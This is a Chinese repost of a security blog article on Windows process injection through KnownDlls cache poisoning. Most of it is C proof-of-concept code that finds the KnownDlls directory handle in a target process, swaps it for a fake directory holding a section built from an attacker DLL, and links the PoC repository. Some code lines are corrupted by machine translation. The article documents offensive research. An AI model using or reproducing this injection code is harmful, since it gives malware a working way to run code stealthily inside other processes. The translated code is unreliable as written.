介绍
这是对James Forshaw在通过 KnownDlls 绕过 CIG中描述的一种注入方法的快速回应。在 Windows 上毒害 KnownDlls 缓存的第一个示例可以追溯到1999 年 2 月发布的安全公告CVE-1999-0376或MS99-066 。该漏洞是由黑客组织 L0pht 的Christien Rioux发现的。他发布的演示攻击的 PoC 成为其他涉及 DLL 注入和函数挂钩的项目的基础。例如, 2012 年发布的使用 KnownDlls 注入进程在很大程度上基于 dildog 的原始源代码。James 描述的注入方法的有趣之处在于它不会读取或写入虚拟内存,而这几乎是每种已知的进程注入方法所必需的。它的工作原理是替换目标进程中的目录句柄,然后 DLL 加载程序使用该目录句柄加载恶意 DLL。非常聪明!🙂 与此主题相关的其他帖子也值得一读:
-
已知的 DLL 到底是什么?
-
使用 COM 将代码注入 Windows 受保护的进程 - 第 1 部分
-
使用 COM 将代码注入 Windows 受保护的进程 - 第 2 部分
-
未知的已知 DLL…以及其他违反代码完整性信任的行为
-
热修补程序
如果您想仔细了解 Windows 对象管理器, Microsoft 的WinObj和NtObjectManager都很有用。
图 1. WinObj 中的 KnownDlls
获取 KnownDlls 目录对象句柄
正如詹姆斯指出的那样,至少有两种方法可以做到这一点。
方法 1
该句柄存储在名为 的全局变量中ntdll!LdrpKnownDllDirectoryHandle(如图 2 所示),可以通过搜索 NTDLL 段找到.data。找到地址后,可以读取现有句柄或用新句柄覆盖它。
图 2. ntdll!LdrpKnownDllDirectoryHandle
以下代码实现了该方法。基地址对于每个进程都是恒定的,因此不需要从远程进程读取。
LPVOID GetKnownDllHandle ( DWORD pid ) {
LPVOID m , va = NULL ;
PIMAGE_DOS_HEADER dos ;
PIMAGE_NT_HEADERS nt ;
PIMAGE_SECTION_HEADER sh ;
DWORD i , cnt ;
PULONG_PTR ds ;
BYTE buf [ 1024 ] ;
POBJECT_NAME_INFORMATION n = ( POBJECT_NAME_INFORMATION ) buf ;
// 获取 NTDLL 的基数和指向节头的指针
m = GetModuleHandle ( L" ntdll.dll " ) ;
dos = ( PIMAGE_DOS_HEADER ) m ;
nt = RVA2VA ( PIMAGE_NT_HEADERS , m , dos - > e_lfanew ) ;
sh = ( PIMAGE_SECTION_HEADER ) ( ( LPBYTE ) & nt - > OptionalHeader +
nt - > FileHeader . SizeOfOptionalHeader ) ;
// 定位 .data 段,保存 VA 和指针数量
for ( i = 0 ; i < nt - > FileHeader . NumberOfSections ; i + + ) {
if ( * ( PDWORD ) sh [ i ] . Name == * ( PDWORD ) " .data " ) {
ds = RVA2VA ( PULONG_PTR , m , sh [ i ] . VirtualAddress ) ;
cnt = sh [ i ] . Misc . VirtualSize / sizeof ( ULONG_PTR ) ; break ; } } //对于每个指针for ( i = 0 ; i < cnt ; i + + ) { if ( ( LPVOID ) ds [ i ] == NULL ) continue ; // 查询对象名称
NtQueryObject ( ( LPVOID ) ds [ i ] ,
ObjectNameInformation , n , MAX_PATH , NULL ) ;
// 返回字符串?
if ( n - > Name . Length ! = 0 ) {
// 它与我们的匹配吗?
if ( ! lstrcmp ( n - > Name . Buffer , L" \ KnownDlls " ) ) {
// 返回虚拟地址
va = & ds [ i ] ;
break ;
}
}
}
return va ;
}
方法 2
SystemHandleInformation传递给的类将NtQuerySystemInformation返回系统上打开的所有句柄的列表。为了定位特定进程,我们将UniqueProcessId每个SYSTEM_HANDLE_TABLE_ENTRY_INFO结构的与目标 PID 进行比较。HandleValue复制并查询名称。然后将此名称与“KnownDlls”进行比较,如果找到匹配项,HandleValue则返回给调用者。
HANDLE GetKnownDllHandle2 ( DWORD pid , HANDLE hp ) {
ULONG len ;
NTSTATUS nts ;
LPVOID list = NULL ;
DWORD i ;
HANDLE obj , h = NULL ;
PSYSTEM_HANDLE_INFORMATION hl ;
BYTE buf [ 1024 ] ;
POBJECT_NAME_INFORMATION name = ( POBJECT_NAME_INFORMATION ) buf ;
// 读取系统句柄的完整列表
for ( len = 8192 ; ; len + = 8192 ) {
list = malloc ( len ) ;
nts = NtQuerySystemInformation (
SystemHandleInformation ,列表, len , NULL ) ;
// 如果成功则退出循环
if ( NT_SUCCESS ( nts ) ) break ;
// 释放列表并继续
释放(列表);
}
hl = ( PSYSTEM_HANDLE_INFORMATION )列表;
//对于每个句柄for ( i = 0 ; i < hl - > NumberOfHandles & & h = = NULL ; i + + ) { // 跳过
这些以避免挂起进程
if ( ( hl - > Handles [ i ] . GrantedAccess = = 0x0012019f ) || ( hl - > Handles [ i ] . GrantedAccess = = 0x001a019f ) || ( hl - > Handles [ i ] . GrantedAccess = = 0x00120189 ) || ( hl - > Handles [
i ] . GrantedAccess = = 0x00100000 ) ) { continue ; }
// 如果此句柄不在我们的目标进程中,则跳过
if ( hl - > Handles [ i ] . UniqueProcessId ! = pid ) {
continue ;
}
// 复制句柄对象
nts = NtDuplicateObject (
hp , ( HANDLE ) hl - > Handles [ i ] .HandleValue ,
GetCurrentProcess ( ) , & obj , 0 , FALSE , DUPLICATE_SAME_ACCESS
) ;
if ( NT_SUCCESS ( nts ) ) {
// 查询名称
NtQueryObject (
obj , ObjectNameInformation ,
name , MAX_PATH , NULL ) ;
// 如果返回名称..
if ( name - > Name . Length ! = 0 ) {
// 它是 knowndlls 目录吗?
if ( ! lstrcmp ( name - > Name . Buffer , L" \ KnownDlls " ) ) {
h = ( HANDLE ) hl - > Handles [ i ] . HandleValue ;
}
}
NtClose ( obj ) ;
}
}
free ( list ) ;
return h ;
}
注射
以下代码完全基于文章中描述的步骤,在当前状态下会导致目标进程停止正常工作。这就是为什么 PoC 在尝试注入之前会创建一个进程(记事本),而不是允许选择进程。
VOID knowndll_inject ( DWORD pid , PWCHAR fake_dll , PWCHAR target_dll ) {
NTSTATUS nts ;
DWORD i ;
HANDLE hp , hs , hf , dir , target_handle ;
OBJECT_ATTRIBUTES fa , da , sa ;
UNICODE_STRING fn , dn , sn , ntpath ;
IO_STATUS_BLOCK iosb ;
// 打开进程以复制句柄,暂停/恢复进程
hp = OpenProcess ( PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME , FALSE , pid ) ;
// 1. 从远程进程获取 KnownDlls 目录对象句柄
target_handle = GetKnownDllHandle2 ( pid , hp ) ;
// 2. 创建空对象目录,插入要劫持的 DLL 的命名部分
// 使用 DLL 的文件句柄注入
InitializeObjectAttributes ( & da , NULL , 0 , NULL , NULL ) ;
nts = NtCreateDirectoryObject ( & dir , DIRECTORY_ALL_ACCESS , & da ) ;
// 2.1 打开假 DLL
RtlDosPathNameToNtPathName_U ( fake_dll , & fn , NULL , NULL ) ;
InitializeObjectAttributes ( & fa , & fn , OBJ_CASE_INSENSITIVE , NULL , NULL ) ;
nts = NtOpenFile (
& hf , FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE ,
& fa , & iosb , FILE_SHARE_READ | FILE_SHARE_WRITE , 0 ) ;
// 2.2 使用伪 DLL 映像创建目标 DLL 的命名部分
RtlInitUnicodeString ( & sn , target_dll ) ;
InitializeObjectAttributes ( & sa , & sn , OBJ_CASE_INSENSITIVE , dir , NULL ) ;
nts = NtCreateSection (
& hs , SECTION_ALL_ACCESS , & sa ,
NULL , PAGE_EXECUTE , SEC_IMAGE , hf ) ;
// 3. 关闭远程进程中的已知 DLL 句柄
NtSuspendProcess ( hp ) ;
DuplicateHandle ( hp , target_handle ,
GetCurrentProcess ( ) , NULL , 0 , TRUE , DUPLICATE_CLOSE_SOURCE ) ;
// 4. 远程进程的重复对象目录
DuplicateHandle (
GetCurrentProcess ( ) , dir , hp ,
NULL , 0 , TRUE , DUPLICATE_SAME_ACCESS ) ;
NtResumeProcess ( hp ) ;
CloseHandle ( hp ) ;
printf ( "选择文件->打开以将" %ws "加载到记事本中。n " , fake_dll ) ;
printf ( "按任意键继续... n " ) ;
getchar ( ) ;
}
演示
图3显示了被劫持的DLL(ole32.dll)加载后显示的消息框。
图3.记事本中的注入。
PoC 在这里:
https://github.com/odzhan/injection/tree/master/knowndlls
参考在这里:
https://modexp.wordpress.com/2019/08/12/windows-process-injection-knowndlls/
原文始发于微信公众号(Ots安全):Windows 进程注入:KnownDlls 缓存中毒
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论